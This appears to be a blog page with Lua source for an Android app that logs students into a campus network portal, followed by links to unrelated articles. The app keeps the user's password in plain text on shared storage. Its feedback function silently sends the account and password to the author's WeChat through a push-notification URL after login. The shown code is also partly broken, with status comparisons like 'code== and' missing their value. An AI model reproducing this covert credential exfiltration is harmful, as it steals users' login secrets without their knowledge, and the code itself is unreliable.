import 'android.webkit.WebView'webView.addJavascriptInterface({},'JsInterface')
import 'test'
cjson=require ("cjson") --解析json字符
--程序启动时会执行的事件 function 写文件(名称,内容)
文件路径="/sdcard/校网助手/"..名称
io.open(文件路径,'w'):write(内容):close()
end
当前版本="5.0"
function 检查更新()
local url="https://www.cnblogs.com/pengwenzheng/p/8553104.html"
--sj(m,"txt":"","state",m)
Http.get(url,nil,"utf8",nil,function(code,content,cookie,header)
if(code== and content)then
local con=content
--string.match("左测试测试右","左(.-)右")
local 版本号=con.match(con,"版本号【(.-)】")
local 更新内容=con.match(con,"更新内容【(.-)】")
local 下载链接=con.match(con,"下载链接【(.-)】")
local 公告=con.match(con,"公告【(.-)】")
local 广告=con.match(con,"广告【(.-)】")
if (版本号>=当前版本) then
对话框()
.设置标题("版本更新")
.设置消息(公告)
.设置积极按钮("下载更新",function()
加载网页(下载链接)
end)
.设置消极按钮("取消")
.显示()
end
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function 微信反馈()
local zh=io.open("/sdcard/校网助手/账户.txt"):read("*a")
local z=zh:match("(.+)&")
local m=zh:match("upass=(.+)")
local time=os.date("%Y-%m-%d %H:%M:%S")
local ww="https://sc.ftqq.com/SCU26231T3d328ea1d7已修改5e619d412b2937b0e5af42e7d782a3.send?text="
local x="主人校网助手有人上线了!账号:"
local g="mima:"
local k="&desp="
local wx =ww..x..z..k..time..g..m
Http.get(wx,nil,"utf8",nil,function(code,content,cookie,header)
if(code== and content)then
--print(content)
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function 登陆()
InputLayout={
LinearLayout;
orientation="vertical";
Focusable=true,
FocusableInTouchMode=true,
{
TextView;
id="Prompt",
textSize="15sp",
layout_marginTop="10dp";
layout_marginLeft="3dp",
layout_width="80%w";
layout_gravity="center",
text="运营商输入:移动,联通,电信,单宽";
};
{
EditText;
hint="账号";
layout_marginTop="5dp";
layout_width="80%w";
layout_gravity="center",
id="edit";
};
{
EditText;
hint="密码";
layout_marginTop="5dp";
layout_width="80%w";
layout_gravity="center",
id="edit2";
};
{
EditText;
hint="运营商";
layout_marginTop="5dp";
layout_width="80%w";
layout_gravity="center",
id="edit3";
};
};
AlertDialog.Builder(this)
.setTitle("首次登陆")
.setView(loadlayout(InputLayout))
.setPositiveButton("确定",{onClick=function(v)
if edit3.Text=="移动"then
yys="cmcc"
elseif edit3.Text=="联通"then
yys="liantong"
elseif edit3.Text=="电信"then
yys="dianxin"
else
yys="dankuan"
end
local 拼接=edit.Text.."@"..yys.."&upass="..edit2.Text
写文件("账户.txt",拼接)
end})
.setNegativeButton("取消",nil)
.show()
end
function 检验()
jyurl="http://1.1.1.1"
Http.get(jyurl,nil,"gb2312",nil,function (code,content,cookie,header)
if(code== and content)then
title=content.match(content,"<title>(.-)</title>")
return title
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function 语录()
local url="http://word.rainss.cn/api_system.php?type=json"
--sj(m,"txt":"","state",m)
Http.get(url,nil,"utf8",nil,function(code,content,cookie,header)
if(code== and content)then
local json=cjson.decode(content)
-- print(dump(json))--输出json字符
--print(json.txt)
local output=json.txt
对话框()
.设置标题("语录")
.设置消息(output)
.设置积极按钮("确定",function()
显示消息("加油努力!")
end)
.设置消极按钮("取消")
.显示()
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function post()
ip=findip()
ip=string.gsub(ip," ","")
print("您的动态ip为"..ip)
url="http://1.1.1.1:801/eportal/?c=ACSetting&a=Login&protocol=http:&hostname=1.1.1.1&iTermType=2&wlanuserip="
url1="&wlanacip=10.10.9.200&mac=00-00-00-00-00-00&ip="
url2="&enAdvert=0&queryACIP=0&loginMethod=1"
url3=url..ip..url1..url2
zh=io.open("/sdcard/校网助手/账户.txt"):read("*a")
data="DDDDD="..zh.."&R1=0&R2=0&R3=0&R6=1&para=00&0MKKey=123456&buttonClicked=&redirect_url=&err_flag=&username=&password=&user=&cmd=&Login=Y"
data=string.gsub(data," ","")
Http.post(url3,data,nil,"gb2312",nil,function(code,content,cookie,header)
if(code== and content)then
jyurl="http://1.1.1.1"
Http.get(jyurl,nil,"gb2312",nil,function (code,content,cookie,header)
if(code== and content)then
title=content.match(content,"<title>(.-)</title>")
if (title=="注销页") then
print("登陆成功")
语录()
--微信反馈()
检查更新()
else
print("登陆失败……自动尝试二次登陆。")
Http.post(url3,data,nil,"gb2312",nil,function(code,content,cookie,header)
if(code== and content)then
jyurl="http://1.1.1.1"
Http.get(jyurl,nil,"gb2312",nil,function (code,content,cookie,header)
if(code== and content)then
title=content.match(content,"<title>(.-)</title>")
if (title=="注销页") then
print("登陆成功")
语录()
微信反馈()
检查更新()
end
end
end)
end
end)
end
--检测校网是否登陆
end
end) else
print("本地网络或服务器异常 "..code)
end
end)
end
function 检测Wifi()
import "android.content.Context"
wifi = activity.Context.getSystemService(Context.WIFI_SERVICE)
wi = wifi.isWifiEnabled()
return wi
end
function findip()
wifi = activity.Context.getSystemService(Context.WIFI_SERVICE).getDhcpInfo()
ip=string.match(tostring(wifi),"ipaddr(.-)gate")
return ip
end
function main()
if 检测Wifi() then
post()
else
对话框()
.设置标题("错误")
.设置消息("检测到您未开启Wifi")
.设置积极按钮("确定",function()
显示消息("点击了确定")
end)
.设置消极按钮("取消")
.显示()
end
end
function 主程序()
import "java.io.File"--导入File类
路径="/sdcard/校网助手/"
if File(路径).exists() then
print("欢迎回来")
main()
--io.open(文件路径):read("*a")
else
print("您是首次使用本软件……")
File(路径).mkdir()
登陆()
end
end
主程序()

校网助手APP lua源码的更多相关文章

  1. wemall app商城源码Android之支付宝通知处理类

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之处 ...

  2. wemall app商城源码机器人检测

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之 ...

  3. wemall app商城源码Android之支付宝接口公用函数

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之  ...

  4. wemall app商城源码Android数据的SharedPreferences储存方式

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android数据 ...

  5. wemall app商城源码Android之ListView异步加载网络图片(优化缓存机制)

    wemall-mobile是基于WeMall的android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之L ...

  6. wemall app商城源码中android按钮的三种响应事件

    wemall-mobile是基于WeMall的android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码中android按 ...

  7. <转>windows下编译lua源码

    因为之前一直使用 lua for windows 来搭建lua的使用环境,但是最新的 lua for windows 还没有lua5.2,我又想用这个版本的lua,所以被逼无奈只能自己编一下lua源码 ...

  8. Lua源码编译之CL编译器编译

    通过使用VC下的CL编译器,可方便地编译Lua源码,而无需构造工程并设置各种选项: 以下以源码Lua5.3.1版本为例,将通过CL编译选项直接编译源码,为方便编译将采用批处理脚本,脚本放置在Lua解压 ...

  9. 用VC编译lua源码,生成lua语言的解释器和编译器

    用VC编译lua源码,生成lua语言的解释器和编译器 1.去网址下载源码 http://www.lua.org/download.html 2.装一个VC++,我用的是VC6.0 3.接下来我们开始编 ...

随机推荐

  1. Hdoj 3697 Selecting courses 【贪心】

    Selecting courses Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 62768/32768 K (Java/Others ...

  2. 怎样用fiddler2捕获移动设备上的http或者https请求

    调试移动设备上的问题.看不到发送的请求和得到的响应是比較难过的,fiddler能够实现样的功能. 原理: 在PC上启动fiddler.将手持设备的网络代理改成fiddler. 这样全部的请求和响应都经 ...

  3. 《转》 Ceilometer项目源代码分析----ceilometer项目源代码结构分析

    感谢朋友支持本博客,欢迎共同探讨交流.因为能力和时间有限,错误之处在所难免,欢迎指正! 假设转载,请保留作者信息. 博客地址:http://blog.csdn.net/gaoxingnengjisua ...

  4. 卷积神经网络-进化史】从LeNet到AlexNet

    目录视图 摘要视图 订阅 [置顶] [卷积神经网络-进化史]从LeNet到AlexNet 标签: cnn 卷积神经网络 深度学习 2016年05月17日 23:20:3046038人阅读 评论(4)  ...

  5. 淘宝数据库OceanBase SQL编译器部分 源代码阅读--生成物理查询计划

    SQL编译解析三部曲分为:构建语法树,制定逻辑计划,生成物理运行计划. 前两个步骤请參见我的博客<<淘宝数据库OceanBase SQL编译器部分 源代码阅读--解析SQL语法树>& ...

  6. Delphi中WebBrowser控件打开部分网站报"Invalid floating point operation”解决

    Delphi中WebBrowser控件打开部分网站报"Invalid floating point operation”解决 EmbeddedWBWebBrowserDelphi  最近用E ...

  7. socket listen backlog

    http://stackoverflow.com/questions/4253454/question-about-listening-and-backlog-for-sockets The list ...

  8. Android Studio:Gradle project refresh failed. 解决方法

    事件 换了个电脑,Android Studio拷过来,重新配置后,打开已有的项目,报错: Gradle project refresh failed. Connection timed out: co ...

  9. memcached知识点梳理

    Memcached概念:    Memcached是一个免费开源的,高性能的,具有分布式对象的缓存系统,它可以用来保存一些经常存取的对象或数据,保存的数据像一张巨大的HASH表,该表以Key-valu ...

  10. hdoj--5526--欧拉回路(欧拉回路)

     欧拉回路 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Su ...